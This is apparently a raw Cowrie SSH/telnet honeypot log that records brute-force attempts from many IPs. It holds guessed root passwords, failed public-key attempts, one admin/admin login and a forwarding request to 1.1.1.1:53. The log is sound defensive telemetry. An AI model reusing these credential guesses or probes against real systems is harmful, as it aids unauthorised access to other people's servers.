{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:36.348019Z","src_ip":"119.28.117.200","session":"d2851baaadcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zav","message":"login attempt [root/zav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:37.331368Z","src_ip":"119.28.117.200","session":"d2851baaadcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:38.571924Z","src_ip":"119.28.117.200","session":"d2851baaadcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":49306,"dst_ip":"10.17.0.5","dst_port":22,"session":"0857a70586da","protocol":"ssh","message":"New connection: 103.75.182.198:49306 (10.17.0.5:22) [session: 0857a70586da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:49.546078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:49.550673Z","src_ip":"103.75.182.198","session":"0857a70586da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:49.793800Z","src_ip":"103.75.182.198","session":"0857a70586da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"general","message":"login attempt [root/general] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:50.523422Z","src_ip":"103.75.182.198","session":"0857a70586da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:51.769239Z","src_ip":"103.75.182.198","session":"0857a70586da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":46018,"dst_ip":"159.203.135.109","dst_port":23,"session":"924aabb1042f","protocol":"telnet","message":"New connection: 186.195.16.41:46018 (159.203.135.109:23) [session: 924aabb1042f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:08:58.386743Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":56672,"dst_ip":"159.203.135.109","dst_port":22,"session":"65ceac5a0855","protocol":"ssh","message":"New connection: 43.153.0.59:56672 (159.203.135.109:22) [session: 65ceac5a0855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:05.453374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:05.461141Z","src_ip":"43.153.0.59","session":"65ceac5a0855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:05.534229Z","src_ip":"43.153.0.59","session":"65ceac5a0855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"valentin","message":"login attempt [root/valentin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:05.841409Z","src_ip":"43.153.0.59","session":"65ceac5a0855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:06.916442Z","src_ip":"43.153.0.59","session":"65ceac5a0855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":24756,"dst_ip":"10.17.0.5","dst_port":22,"session":"685d78075cd3","protocol":"ssh","message":"New connection: 87.251.64.176:24756 (10.17.0.5:22) [session: 685d78075cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:07.707851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:07.712765Z","src_ip":"87.251.64.176","session":"685d78075cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:07.809526Z","src_ip":"87.251.64.176","session":"685d78075cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.168.136","src_port":60396,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf4a8563107d","protocol":"ssh","message":"New connection: 115.190.168.136:60396 (159.203.135.109:22) [session: cf4a8563107d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:07.959980Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:08.100348Z","src_ip":"87.251.64.176","session":"685d78075cd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:08.198715Z","session":"685d78075cd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:08.296465Z","src_ip":"87.251.64.176","session":"685d78075cd3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:08.356951Z","src_ip":"115.190.168.136","session":"cf4a8563107d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:08.541890Z","src_ip":"87.251.64.176","session":"685d78075cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":36270,"dst_ip":"159.203.135.109","dst_port":22,"session":"44adf66e3328","protocol":"ssh","message":"New connection: 115.178.75.242:36270 (159.203.135.109:22) [session: 44adf66e3328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:23.666678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:23.671035Z","src_ip":"115.178.75.242","session":"44adf66e3328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:23.856019Z","src_ip":"115.178.75.242","session":"44adf66e3328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxdr5","message":"login attempt [root/1qazxdr5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:24.626929Z","src_ip":"115.178.75.242","session":"44adf66e3328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.242.68","src_port":23570,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d08b2cc6302","protocol":"ssh","message":"New connection: 206.212.242.68:23570 (10.17.0.5:22) [session: 8d08b2cc6302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.214115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.219214Z","src_ip":"206.212.242.68","session":"8d08b2cc6302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.232283Z","src_ip":"206.212.242.68","session":"8d08b2cc6302","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:c7:f2:78:e9:f1:0a:43:db:f0:71:d2:9f:5d:dc:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8XG/Gj44HE8OXCIMTvOKth/eqDlPl8see5iz3k6p0CGnVyMS1y9sZh2vGJoLiQh00CT9iLG3NJUV+FfJtRNA0SefbYk8ZFJyMFdRZWdHdvfLWjeqIOcuSH7c37evAFJKKf+cg4YS4da7SoWIJCkzcybQmE77tNlq/HY++i072OEdFeDNGQdm5g+XE5SMUuV/ed25UWiQAHfAngrxvPe0/5S5D9efzEivFH9Ks0944mWyNPA01mtNqSG14gZqtnaMewMK5W+/IN1hCRQNPnMNlTJu7RJaEwJsL/yqZsMSxnSCmcmIjxrNKLZ5QCKNawIJ7zYlKKVUkDsLN4fGWAKvb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:c7:f2:78:e9:f1:0a:43:db:f0:71:d2:9f:5d:dc:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.278545Z","src_ip":"206.212.242.68","session":"8d08b2cc6302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:c7:f2:78:e9:f1:0a:43:db:f0:71:d2:9f:5d:dc:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8XG/Gj44HE8OXCIMTvOKth/eqDlPl8see5iz3k6p0CGnVyMS1y9sZh2vGJoLiQh00CT9iLG3NJUV+FfJtRNA0SefbYk8ZFJyMFdRZWdHdvfLWjeqIOcuSH7c37evAFJKKf+cg4YS4da7SoWIJCkzcybQmE77tNlq/HY++i072OEdFeDNGQdm5g+XE5SMUuV/ed25UWiQAHfAngrxvPe0/5S5D9efzEivFH9Ks0944mWyNPA01mtNqSG14gZqtnaMewMK5W+/IN1hCRQNPnMNlTJu7RJaEwJsL/yqZsMSxnSCmcmIjxrNKLZ5QCKNawIJ7zYlKKVUkDsLN4fGWAKvb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.285863Z","src_ip":"206.212.242.68","session":"8d08b2cc6302","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:a3:36:74:04:fa:33:3b:79:7d:80:f7:58:8b:15:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArgjmrwvxIFtZt40TLHfMZLCnCT2p47CEXaize/53hfNGP+4FmZWP4KvgtmXaGppgDsEof1/lKcnO8XZh4ylBHlXOimhcffp/U6mBU71r5KlLfiVRyM3+URDTBge/ECk0LRBkZTWcASYqvoDUhKyNxultyaPX0OwgJ3Hvc14bDigmL9BJJskTVBmXS37nhz7N4nyTop5AMxxk9ihcrZNsERSWr4l9a8tyBittmI5EI/4gSawrwosIMGw7FzBAn+i5IB5CIPcU0yiQBy4/TNOPor7qzPkyyNrWh/eqHqwrr9sPdzV/bovRoZIZrwpwgZLCX7jAaT1NzZEfoGZ/BoA7jw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:a3:36:74:04:fa:33:3b:79:7d:80:f7:58:8b:15:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.300381Z","src_ip":"206.212.242.68","session":"8d08b2cc6302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:a3:36:74:04:fa:33:3b:79:7d:80:f7:58:8b:15:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArgjmrwvxIFtZt40TLHfMZLCnCT2p47CEXaize/53hfNGP+4FmZWP4KvgtmXaGppgDsEof1/lKcnO8XZh4ylBHlXOimhcffp/U6mBU71r5KlLfiVRyM3+URDTBge/ECk0LRBkZTWcASYqvoDUhKyNxultyaPX0OwgJ3Hvc14bDigmL9BJJskTVBmXS37nhz7N4nyTop5AMxxk9ihcrZNsERSWr4l9a8tyBittmI5EI/4gSawrwosIMGw7FzBAn+i5IB5CIPcU0yiQBy4/TNOPor7qzPkyyNrWh/eqHqwrr9sPdzV/bovRoZIZrwpwgZLCX7jAaT1NzZEfoGZ/BoA7jw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.304792Z","src_ip":"206.212.242.68","session":"8d08b2cc6302","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:21:c4:79:b6:27:3b:16:52:b7:c1:0d:b0:ab:52:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoEA6kEa82cTqmDlviiqkbGCZKZ9KOEnsVAmBMTSrq0q6VhXO/x5ezc3KWx1qqqPulbgO4BffLOYRHOJsQglM5HbGvew072RB9Don4uRtWDC0D5Y87Fmm0THbw4WuWvU5I5u8Cuq8lqhwCp3lcpCqNwvmBcoOz+RIPG3qSIF8g9VppN2NJiKJYrlGHiRPb2BXl7EKaLjcxgXWp6oubXO+scF2egm4o/1tO9Wmedg6K3b82uHSvnPvEWzdEDNEp+fhPZEOs5GDK0Qy2YknpMldW7Jhs/SYL3ZJm1IfI7pdmVR7UNtYkHkb/PSm9FQp9GMRXS0OXXOmR4Q/0Qk6LgFAYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:21:c4:79:b6:27:3b:16:52:b7:c1:0d:b0:ab:52:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.318518Z","src_ip":"206.212.242.68","session":"8d08b2cc6302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:21:c4:79:b6:27:3b:16:52:b7:c1:0d:b0:ab:52:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoEA6kEa82cTqmDlviiqkbGCZKZ9KOEnsVAmBMTSrq0q6VhXO/x5ezc3KWx1qqqPulbgO4BffLOYRHOJsQglM5HbGvew072RB9Don4uRtWDC0D5Y87Fmm0THbw4WuWvU5I5u8Cuq8lqhwCp3lcpCqNwvmBcoOz+RIPG3qSIF8g9VppN2NJiKJYrlGHiRPb2BXl7EKaLjcxgXWp6oubXO+scF2egm4o/1tO9Wmedg6K3b82uHSvnPvEWzdEDNEp+fhPZEOs5GDK0Qy2YknpMldW7Jhs/SYL3ZJm1IfI7pdmVR7UNtYkHkb/PSm9FQp9GMRXS0OXXOmR4Q/0Qk6LgFAYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.322835Z","src_ip":"206.212.242.68","session":"8d08b2cc6302","protocol":"ssh"}
